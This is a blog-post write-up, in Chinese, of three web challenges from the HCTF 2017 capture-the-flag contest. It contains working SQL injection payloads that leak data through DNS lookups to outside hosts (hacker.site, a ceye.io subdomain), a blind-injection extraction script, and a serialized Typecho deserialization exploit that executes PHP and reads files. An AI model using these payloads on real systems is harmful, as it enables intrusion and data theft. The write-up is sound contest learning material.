sky's blog

2017 hctf的3道web题题解

字数统计: 1,943阅读时长: 9 min
2017/11/12 Share

前言

这次比赛最大的感想就是:神仙打架……蓝猫20小时+的akweb的速度,真是膜到不行,平均20分钟一道web……再看我就像个智障……一天打一道……差距真的是大到无与伦比,真的希望今年不管哪一场,能有一次打进XCTF线下赛,膜一膜大佬的风姿!

level1-easy_sign_in

一道简单的签到题
访问https://112.74.88.38/可以发现证书有问题,网页也给了提示:

1
Why does your browser issue a warning?

用火狐打开后:

1
2
3
4
112.74.88.38 使用了无效的安全证书。 
该证书因为其自签名而不被信任。
该证书对名称 112.74.88.38 无效。
错误代码: SEC_ERROR_UNKNOWN_ISSUER

进一步研究,查看证书:

1
组织: 123.206.81.217

访问即可得到flag:flag: hctf{s00000_e4sy_sign_in}
这题大概就是我们打开的112.74.88.38使用了123.206.81.217的证书,浏览器认为它是在伪造别人的网站,认定存在风险。

level2-boring website

http://106.15.53.124:38324/?id=1
发现源码泄露:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
echo "Bob received a mission to write a login system on someone else's server, and he he only finished half of the work<br />";
echo "flag is hctf{what you get}<br /><br />";
error_reporting(E_ALL^E_NOTICE^E_WARNING);

try {
$conn = new PDO( "sqlsrv:Server=*****;Database=not_here","oob", "");
}

catch( PDOException $e ) {
die( "Error connecting to SQL Server".$e->getMessage() );
}

#echo "Connected to MySQL<br />";
echo "Connected to SQL Server<br />";

$id = $_GET['id'];
if(preg_match('/EXEC|xp_cmdshell|sp_configure|xp_reg(.*)|CREATE|DROP|declare|insert|into|outfile|dumpfile|sleep|wait|benchmark/i', $id)) {
die('NoNoNo');
}
$query = "select message from not_here_too where id = $id"; //link server: On linkname:mysql

$stmt = $conn->query( $query );
while ( @$row = $stmt->fetch( PDO::FETCH_ASSOC ) ){
//TO DO: ...
//It's time to sleep...
}

?>

可以知道三个关键点:
第一点:

1
2
3
try {
$conn = new PDO( "sqlsrv:Server=*****;Database=not_here","oob", "");
}

使用了PDO,且提示了oob,其中PDO是可以堆叠执行sql的,oob是一种攻击手法,算是提示
第二点:

1
//link server: On  linkname:mysql

可以见到还有一个mysql,我们的flag应该是在Mysql
第三点:

1
EXEC|xp_cmdshell|sp_configure|xp_reg(.*)|CREATE|DROP|declare|insert|into|outfile|dumpfile|sleep|wait|benchmark/i

过滤在此,分析了一下,我们在oob中可以使用load_file(),这里的函数过滤应该也算一个提示

然后是如何在sql server的查询中查询mysql,可以用如下方法:

1
2
SELECT *
FROM OPENQUERY(Servername,'select * from DBName.tablename')

然后我们研究oob:
找到这样一个链接:
http://bobao.360.cn/learning/detail/3458.html
其中给出了非常好的payload

1
2
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874));

可见我们需要一个dns服务器,他在去解析这个dns的时候,我们在dns服务器上就能看见
注意:
拿vps+域名泛解析是不行的,像Ping这种请求,vps日志是收不到的
所以我们找了一个网站http://ceye.io/records/dns
是真的强,直接免去了我们搭dns服务器的事。
下面开始攻击,构造payload:

1
2
3
4
5
http://106.15.53.124:38324/?id=1;SELECT * FROM OPENQUERY(mysql,'select load_file(
concat('\\\\',version(),'.2bub8m.ceye.io\\abc'));');

http://106.15.53.124:38324/?id=1;SELECT * FROM OPENQUERY(mysql,'select load_file(
concat(0x5c5c5c5c,version(),0x2e32627562386d2e636579652e696f5c5c616263));');

注:记得16进制,否则不会成功,双引号+单引号不成功卡了我一会儿
即可在dns查询上看到:

1
5.7.19.2bub8m.ceye.io

下面就是常规探测了,毕竟没有过滤:

1
2
3
4
5
6
库名:webwebweb.2bub8m.ceye.io
表名:secret.2bub8m.ceye.io
字段名:
id.2bub8m.ceye.io
name.2bub8m.ceye.io
password.2bub8m.ceye.io

于是查name字段:

1
flag.2bub8m.ceye.io

再查password字段:

1
dn5-1og-can-take-f14g-6as84f.2bub8m.ceye.io

组合后得到flag:hctf{dn5-1og-can-take-f14g-6as84f}

level3-SQL Silencer

http://sqls.2017.hctf.io/index/index.php?id=1
先探测了下,能用的不多,该过滤的基本过滤完了,空格过滤可以用%0b绕过
这里构造了亦或
回显:

1
2
3
4
http://sqls.2017.hctf.io/index/index.php?id=1^1
Id error
http://sqls.2017.hctf.io/index/index.php?id=1^0
Alice

故此可以构造payload:

1
http://sqls.2017.hctf.io/index/index.php?id=1^(ascii(mid((user())from(1)))>0)

然后问题来了,我们没有办法用系统库,表,字段去爆库,爆表,爆字段
但是题目提示了:

1
<!-- What you need is in table:flag -->

所以可以确定的是flag表
然后可以猜测存在flag字段(出题人mmp说的)
然后我们容易构造出:

1
http://sqls.2017.hctf.io/index/index.php?id=1^(ascii(mid((select%0bflag%0bfrom%0bflag)from(1)))>0)

但是这样发现sql语句报错了
得到的回显是:There is nothing.
于是我苦思冥想,本地测试了2个小时,发现问题在于flag表里不止一个字段,这样就会报错

1
2
mysql> select * from users where id=2333 union select 1,2,3,4,(ascii(mid((select flag from flag)from(1)))>0);
ERROR 1242 (21000): Subquery returns more than 1 row

但是我又不知道flag表有啥字段,所以这里我又脑洞了下:
利用like+hctf去限制

1
select flag from flag where flag like '%hctf%'

所以得到最终的payload:

1
http://sqls.2017.hctf.io/index/index.php?id=1^(ascii(mid((select(flag)from(flag)where%0bflag%0blike%0b0x256863746625)from(1)))>0)'

附上脚本:

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python
#coding:utf-8
import requests as req
flag = ''
for x in range(1,100):
for y in range(33,127):
url = 'http://sqls.2017.hctf.io/index/index.php?id=1^(ascii(mid((select(flag)from(flag)where%0bflag%0blike%0b0x256863746625)from('+str(x)+')))='+str(y)+')'
f = req.get(url=url)
if 'Id error' in f.content:
flag+=chr(y)
print flag
break

得到结果:

1
./H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/

mmp哦,还有第二层……
访问
http://sqls.2017.hctf.io/index/H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/index.php
发现是一个typecho
想到之前爆出的php命令执行漏洞,于是去复现,因为之前复现过,所以还挺激动的
但是这里题目好像做出了变化,首先是好像不能写了,然后利用的poc中,貌似括号会有影响?当时复现的时候算是比较蛋疼
不过最后用了Freebuf的poc还是靠谱,成功回显

1
2
3
4
5
url = http://sqls.2017.hctf.io/index/H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/install.php?finish=a
post:
__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=
Referrer:
http://sqls.2017.hctf.io/index/H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/

不得不说hacker bar还是强大,这要用Burp看还挺难受的
然后成功回显了phpinfo()
发现是php7
然后想用系统命令查找,却发现系统命令也被禁了,只能使用php函数
这里选用了scandir()

1
$this->_params['screenName'] = 'var_dump(scandir(\'./\'))';

打出回显:

1
array(12) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) ".DS_Store" [3]=> string(5) "admin" [4]=> string(14) "config.inc.php" [5]=> string(9) "index.php" [6]=> string(7) "install" [7]=> string(11) "install.php" [8]=> string(11) "license.txt" [9]=> string(7) "uploads" [10]=> string(3) "usr" [11]=> string(3) "var" }

一路查找,最后找到了可疑文件夹:

1
array(23) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(12) "flag_is_here" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(3) "opt" [14]=> string(4) "proc" [15]=> string(4) "root" [16]=> string(3) "run" [17]=> string(4) "sbin" [18]=> string(3) "srv" [19]=> string(3) "sys" [20]=> string(3) "tmp" [21]=> string(3) "usr" [22]=> string(3) "var" }

可以看到偌大的flag_is_here
再查:

1
array(3) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(4) "flag" }

可以看到flag文件,然后利用file_get_contents()去读

1
$this->_params['screenName'] = 'var_dump(file_get_contents(\'../../../../../flag_is_here/flag\'))';

可以轻松拿到flag

1
string(33) "hctf{WowwoW_U_F1nd_m3_e218ca012} "

后记

这次比赛一共打了3个题,最可惜的是js那题没做,如果再有点耐心,应该是肯定能做出来了,毕竟50+解了……
可能writeup看起来比较轻松,但是做的时候真的很艰难,很多地方我们思考也测试了很久,但是同样也学到了知识,不得不说,差距真的很大,别人做20分钟,我可能需要想一天……哎,该努力的地方太多了!

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. 前言
  2. 2. level1-easy_sign_in
  3. 3. level2-boring website
  4. 4. level3-SQL Silencer
  5. 5. 后记